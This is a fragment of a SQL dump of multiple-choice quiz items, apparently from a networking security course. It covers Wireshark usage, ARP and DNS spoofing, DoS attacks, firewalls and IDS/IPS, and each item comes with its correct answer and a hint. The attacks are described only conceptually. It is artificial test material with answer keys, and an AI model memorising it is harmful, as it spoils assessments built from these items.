(7245, 818, 'In the Wireshark GUI, which pane displays the raw hexadecimal and ASCII representation of the packet?', 1, 'Packet Bytes Pane (Bottom)', 0, 'The lowest pane shows the rawest data.', '2026-03-09 22:28:55', '[\"Filter Pane\",\"Packet Details Pane (Middle)\",\"Packet List Pane (Top)\",\"Packet Bytes Pane (Bottom)\"]'),
(7246, 818, 'Which Wireshark pane allows you to expand protocol headers layer by layer (e.g., expanding the IPv4 header to see the TTL value)?', 2, 'Packet Details Pane (Middle)', 0, 'It breaks down the details of the protocol.', '2026-03-09 22:28:55', '[\"Packet Details Pane (Middle)\",\"Packet List Pane (Top)\",\"Packet Bytes Pane (Bottom)\",\"Status Bar\"]'),
(7247, 818, 'By default, what does the \"Time\" column in the Packet List pane display?', 3, 'Seconds since the beginning of the capture', 0, 'It is relative time by default.', '2026-03-09 22:28:55', '[\"Seconds since the beginning of the capture\",\"Remaining time until the capture ends\",\"The actual Time of Day (e.g., 14:00:00)\",\"Milliseconds since the computer booted\"]'),
(7248, 818, 'If you want to quickly organize the Packet List pane to show the largest packets at the top, what action should you take?', 4, 'Click on the \"Length\" column header to sort', 0, 'Sorting by columns.', '2026-03-09 22:28:55', '[\"Use the Find feature (Ctrl+F)\",\"Click on the \\\"Length\\\" column header to sort\",\"Write a complex display filter\",\"Change the Color Rules\"]'),
(7249, 818, 'In Wireshark\'s default color scheme, what do packets colored with black backgrounds and bright red text typically indicate?', 5, 'Errors, warnings, or bad checksums (like TCP Retransmissions)', 0, 'Red usually means bad news or errors.', '2026-03-09 22:28:55', '[\"Normal HTTP Web Traffic\",\"Encrypted SSH traffic\",\"Errors, warnings, or bad checksums (like TCP Retransmissions)\",\"Successfully established connections\"]'),
(7250, 819, 'What is the fundamental difference between a Capture Filter and a Display Filter in Wireshark?', 1, 'Capture filters determine what is saved to disk; Display filters hide/show data already saved', 0, 'One records, the other views.', '2026-03-09 22:28:55', '[\"Capture filters are applied after recording; Display filters are applied before\",\"Capture filters only work on Linux; Display filters only work on Windows\",\"Capture filters determine what is saved to disk; Display filters hide/show data already saved\",\"There is no difference, they are the same thing\"]'),
(7251, 819, 'Which display filter correctly shows traffic where the source IP address is exactly 10.0.0.100?', 2, 'ip.src == 10.0.0.100', 0, 'Remember the double equals and .src notation.', '2026-03-09 22:28:55', '[\"ip.addr = 10.0.0.100\",\"source_ip == 10.0.0.100\",\"ip_src := 10.0.0.100\",\"ip.src == 10.0.0.100\"]'),
(7252, 819, 'If an analyst wants to view all traffic for IP 192.168.1.5 that is NOT DNS traffic, which filter should they use?', 3, 'ip.addr == 192.168.1.5 && !(dns)', 0, 'Combine AND with NOT.', '2026-03-09 22:28:55', '[\"ip.addr = 192.168.1.5 AND NOT dns\",\"ip.addr == 192.168.1.5 && dns == 0\",\"ip.addr == 192.168.1.5 || !(dns)\",\"ip.addr == 192.168.1.5 && !(dns)\"]'),
(7253, 819, 'Which operator allows you to search for a specific, literal text string within the payload of a packet, such as `http _______ \"login\"`?', 4, 'contains', 0, 'It checks if the payload contains the string.', '2026-03-09 22:28:55', '[\"contains\",\"matches\",\"has\",\"includes\"]'),
(7254, 819, 'To show traffic targeting either the standard HTTP port OR the standard HTTPS port, which filter is correct?', 5, 'tcp.port == 80 || tcp.port == 443', 0, 'Use the boolean OR operator.', '2026-03-09 22:28:55', '[\"tcp.port == 80 && tcp.port == 443\",\"http || https\",\"tcp.port == 80 || tcp.port == 443\",\"tcp.ports = 80, 443\"]'),
(7255, 820, 'When you \"Follow TCP Stream\" in Wireshark, what does the software essentially do?', 1, 'Reassembles fragmented packets in order and strips away networking headers to show the raw application data', 0, 'It pieces the conversation back together.', '2026-03-09 22:28:55', '[\"Runs a malware scan on the packets\",\"Deletes all packets that are not part of the stream\",\"Decrypts all HTTPS traffic automatically\",\"Reassembles fragmented packets in order and strips away networking headers to show the raw application data\"]'),
(7256, 820, 'When viewing a followed TCP Stream window, what does the RED colored text signify?', 2, 'Data sent from the Client to the Server', 0, 'Red is client requests.', '2026-03-09 22:28:55', '[\"Data sent from the Server to the Client\",\"Data that failed a checksum\",\"Data that triggered an IDS alert\",\"Data sent from the Client to the Server\"]'),
(7257, 820, 'If you try to \"Follow TCP Stream\" on an SSH connection (Port 22), what will you see in the stream window?', 3, 'Random, unreadable gibberish characters', 0, 'SSH is fully encrypted.', '2026-03-09 22:28:55', '[\"The bash history of the user\",\"The username and password in plaintext\",\"A list of files on the server\",\"Random, unreadable gibberish characters\"]'),
(7258, 820, 'Which menu path allows you to quickly carve and rebuild a downloaded executable file out of an unencrypted web browsing session?', 4, 'File -> Export Objects -> HTTP', 0, 'Exporting HTTP objects.', '2026-03-09 22:28:55', '[\"File -> Export Objects -> HTTP\",\"Edit -> Find Packet -> Executable\",\"Statistics -> Protocol Hierarchy\",\"Analyze -> Decode As -> File\"]'),
(7259, 820, 'When exporting HTTP objects, what information does Wireshark use to try and determine what type of file it is (e.g., telling you it is `application/x-msdownload`)?', 5, 'The Content-Type HTTP header field', 0, 'The server tells the client what type of content it is.', '2026-03-09 22:28:55', '[\"The file extension in the URL\",\"The TCP Sequence Number\",\"The MAC address of the server\",\"The Content-Type HTTP header field\"]'),
(7260, 821, 'What fundamental flaw in the Address Resolution Protocol allows ARP spoofing to occur?', 1, 'Devices blindly accept and cache unsolicited ARP replies without any verification', 0, 'ARP is overly trusting.', '2026-03-09 22:28:55', '[\"ARP relies on UDP which does not guarantee delivery\",\"ARP broadcasts are dropped by modern network switches\",\"ARP packets are encrypted using a weak algorithm\",\"Devices blindly accept and cache unsolicited ARP replies without any verification\"]'),
(7261, 821, 'In an ARP spoofing attack, what specific hardware identifier is the attacker attempting to associate with a legitimate IP address?', 2, 'Their own MAC address', 0, 'Layer 2 is all about MAC addresses.', '2026-03-09 22:28:55', '[\"The default gateway\'s public IP address\",\"The switch\'s port number\",\"Their own MAC address\",\"A randomly generated IPv6 address\"]'),
(7262, 821, 'When an attacker successfully poisons the ARP cache of a victim and a router, putting themselves in the middle of the communication, what type of attack is this?', 3, 'Man-in-the-Middle (MITM)', 0, 'The attacker is literally standing in the middle.', '2026-03-09 22:28:55', '[\"Denial of Service (DoS)\",\"Cross-Site Scripting (XSS)\",\"Man-in-the-Middle (MITM)\",\"SQL Injection\"]'),
(7263, 821, 'Can an attacker on the public internet (e.g., in another country) perform an ARP spoofing attack against your home computer?', 4, 'No, ARP operates at Layer 2 and MAC broadcasts do not cross routers into the internet', 0, 'ARP is strictly local.', '2026-03-09 22:28:55', '[\"Yes, if they know your public IP address\",\"Yes, if they send enough ARP replies to overwhelm your router\",\"No, ARP operates at Layer 2 and MAC broadcasts do not cross routers into the internet\",\"No, because modern ISPs block all ARP traffic globally\"]'),
(7264, 821, 'If an attacker achieves a MITM position via ARP spoofing and decides to simply drop every packet the victim sends, effectively cutting off their internet access, what is this specific outcome called?', 5, 'A Blackhole or Denial of Service attack', 0, 'Traffic goes in but never comes out.', '2026-03-09 22:28:55', '[\"A Blackhole or Denial of Service attack\",\"A DNS Amplification attack\",\"A Smurf attack\",\"A Replay attack\"]'),
(7265, 822, 'In a local DNS Spoofing attack, what must the attacker typically accomplish first in order to intercept the victim\'s DNS queries?', 1, 'Establish a Man-in-the-Middle (MITM) position, usually via ARP Spoofing', 0, 'You need to be in the path of the traffic first.', '2026-03-09 22:28:55', '[\"Perform a Distributed Denial of Service (DDoS)\",\"Establish a Man-in-the-Middle (MITM) position, usually via ARP Spoofing\",\"Hack the corporate firewall\",\"Guess the victim\'s password\"]'),
(7266, 822, 'What is the primary goal of a malicious actor performing DNS Spoofing against a user navigating to their online bank?', 2, 'To redirect the user to a fake clone of the bank website to steal their login credentials', 0, 'Phishing via technical redirection.', '2026-03-09 22:28:55', '[\"To make the bank website load faster\",\"To redirect the user to a fake clone of the bank website to steal their login credentials\",\"To encrypt the user\'s hard drive for ransom\",\"To permanently delete the bank\'s DNS records\"]'),
(7267, 822, 'How does DNS Cache Poisoning differ from local DNS Spoofing?', 3, 'Cache poisoning targets the DNS Server itself, affecting all users of that server, rather than a single local victim', 0, 'Mass scale vs targeted scale.', '2026-03-09 22:28:55', '[\"Cache poisoning only works on IPv6 networks\",\"Cache poisoning targets the DNS Server itself, affecting all users of that server, rather than a single local victim\",\"Cache poisoning replaces the MAC address instead of the IP address\",\"There is no difference; they are synonymous terms\"]'),
(7268, 822, 'Which security technology provides cryptographic digital signatures to verify that the IP address in a DNS reply actually came from the true owner of the domain?', 4, 'DNSSEC', 0, 'DNS Security Extensions.', '2026-03-09 22:28:55', '[\"DNSSEC\",\"WPA3\",\"HTTPS\",\"VPN\"]'),
(7269, 822, 'What protocol encrypts DNS queries to prevent local attackers (like someone sniffing traffic at a coffee shop) from seeing or modifying which websites you are trying to visit?', 5, 'DoH (DNS over HTTPS)', 0, 'Hiding DNS inside encrypted web traffic.', '2026-03-09 22:28:55', '[\"DoH (DNS over HTTPS)\",\"FTP\",\"DHCP\",\"ICMP\"]'),
(7270, 823, 'In a TCP SYN Flood attack, which step of the 3-Way Handshake does the attacker intentionally fail to complete in order to consume server resources?', 1, 'The final ACK', 0, 'Leaving connections half-open.', '2026-03-09 22:28:55', '[\"The SYN-ACK response\",\"The final ACK\",\"The initial SYN\",\"The FIN packet\"]'),
(7271, 823, 'What is the primary characteristic of an \"Amplification\" or \"Reflection\" DoS attack?', 2, 'Sending a small spoofed request that results in a much larger response directed at the victim', 0, 'It acts as a force multiplier for the attacker.', '2026-03-09 22:28:55', '[\"Sending a small spoofed request that results in a much larger response directed at the victim\",\"Guessing the administrator\'s password millions of times per minute\",\"Encrypting the server\'s hard drive to prevent access\",\"Exploiting a buffer overflow in the web application code\"]'),
(7272, 823, 'Why do Amplification attacks almost exclusively rely on UDP protocols like DNS or NTP, rather than TCP?', 3, 'UDP is connectionless and stateless, making it easy to spoof the source IP address', 0, 'TCP\'s handshake prevents spoofed source IPs from establishing connections.', '2026-03-09 22:28:55', '[\"UDP packets are naturally larger than TCP packets\",\"TCP is immune to all forms of Denial of Service\",\"UDP is heavily encrypted making it harder to track\",\"UDP is connectionless and stateless, making it easy to spoof the source IP address\"]'),
(7273, 823, 'In a historic \"Smurf Attack\", what protocol does the attacker abuse by sending packets to a broadcast address with a spoofed source IP?', 4, 'ICMP (Ping)', 0, 'It uses Echo Requests and Replies.', '2026-03-09 22:28:55', '[\"DHCP\",\"HTTP\",\"SMTP\",\"ICMP (Ping)\"]'),
(7274, 823, 'What distinguishes a DDoS attack from a standard DoS attack?', 5, 'DDoS utilizes multiple compromised systems (a botnet) to launch the attack simultaneously', 0, 'Distributed means coming from many places at once.', '2026-03-09 22:28:55', '[\"DDoS attacks steal data, whereas DoS attacks only disrupt service\",\"DDoS relies on physical destruction of servers\",\"DDoS only targets government networks\",\"DDoS utilizes multiple compromised systems (a botnet) to launch the attack simultaneously\"]'),
(7275, 824, 'Which type of firewall looks at every single packet individually and has no memory of the overall connection or \"session\"?', 1, 'Stateless Packet-Filtering Firewall', 0, 'It lacks state awareness.', '2026-03-09 22:28:55', '[\"Web Application Firewall (WAF)\",\"Next-Generation Firewall (NGFW)\",\"Stateful Inspection Firewall\",\"Stateless Packet-Filtering Firewall\"]'),
(7276, 824, 'If an internal employee initiates an outbound connection to a web server, what feature allows a modern firewall to automatically permit the returning inbound web traffic without requiring a specific inbound \"allow\" rule?', 2, 'Stateful Inspection', 0, 'Tracking the state of the connection.', '2026-03-09 22:28:55', '[\"Deep Packet Inspection\",\"SSL Decryption\",\"Stateful Inspection\",\"Stateless Filtering\"]'),
(7277, 824, 'Next-Generation Firewalls (NGFWs) operate up to which layer of the OSI model, allowing them to understand specific applications like \"Facebook\" or \"BitTorrent\" rather than just \"Port 443\"?', 3, 'Layer 7 (Application Layer)', 0, 'The highest layer for application awareness.', '2026-03-09 22:28:55', '[\"Layer 3 (Network Layer)\",\"Layer 4 (Transport Layer)\",\"Layer 7 (Application Layer)\",\"Layer 5 (Session Layer)\"]'),
(7278, 824, 'What is the fundamental security principle that dictates a firewall should block all traffic unless a specific rule has been created to explicitly allow it?', 4, 'Implicit Deny / Default Deny', 0, 'Assume everything is bad until proven good.', '2026-03-09 22:28:55', '[\"Implicit Allow\",\"Default Reject\",\"Least Privilege Routing\",\"Implicit Deny / Default Deny\"]'),
(7279, 824, 'When a firewall blocks traffic coming from the public internet, which action is generally preferred because it silently discards the packet without giving the attacker any feedback or confirmation that the IP address is active?', 5, 'Drop (or Deny)', 0, 'Silence is golden when dealing with scanners.', '2026-03-09 22:28:55', '[\"Reject\",\"Drop (or Deny)\",\"Proxy\",\"Forward\"]'),
(7280, 825, 'Which system operates passively by analyzing a copy of network traffic (out-of-band) and only generates alerts without blocking the traffic?', 1, 'IDS (Intrusion Detection System)', 0, 'It detects, but does not prevent.', '2026-03-09 22:28:55', '[\"WAF (Web Application Firewall)\",\"NGFW (Next-Generation Firewall)\",\"IPS (Intrusion Prevention System)\",\"IDS (Intrusion Detection System)\"]'),
(7281, 825, 'Because an Intrusion Prevention System (IPS) sits \"in-line\" with network traffic, what is the most significant operational risk if it is misconfigured?', 2, 'It might accidentally drop legitimate business traffic (a False Positive block)', 0, 'Active inline blocking carries the risk of business disruption.', '2026-03-09 22:28:55', '[\"It cannot detect encrypted traffic at all\",\"It will slow down the network by copying traffic to a span port\",\"It might accidentally drop legitimate business traffic (a False Positive block)\",\"It will automatically grant administrator rights to external IP addresses\"]'),
(7282, 825, 'If a brand new, never-before-seen exploit (a Zero-Day) is launched against a network, which detection method is completely blind to it because it relies on known technical indicators?', 3, 'Signature-Based Detection', 0, 'Signatures only work for known past threats.', '2026-03-09 22:28:55', '[\"Anomaly-Based Detection\",\"Signature-Based Detection\",\"Heuristic Detection\",\"Behavioral Analysis\"]'),
(7283, 825, 'Which detection method creates a statistical baseline of \"normal\" traffic and alerts when deviations occur, such as an unusual spike in outbound data transfer at 3 AM?', 4, 'Anomaly/Behavior-Based Detection', 0, 'It looks for weird behavior, not specific bad code.', '2026-03-09 22:28:55', '[\"Anomaly/Behavior-Based Detection\",\"Signature-Based Detection\",\"Stateful Inspection\",\"Packet Filtering\"]'),
(7284, 825, 'If an organization values \"never accidentally dropping a legitimate customer transaction\" over \"stopping 100% of attacks automatically\", which deployment model should they choose?', 5, 'Deploy an IDS on a span port', 0, 'IDS cannot affect live traffic routing.', '2026-03-09 22:28:55', '[\"Deploy an IDS on a span port\",\"Deploy an IPS in-line\",\"Disable all security controls\",\"Deploy a stateless firewall\"]');

-- --------------------------------------------------------

--
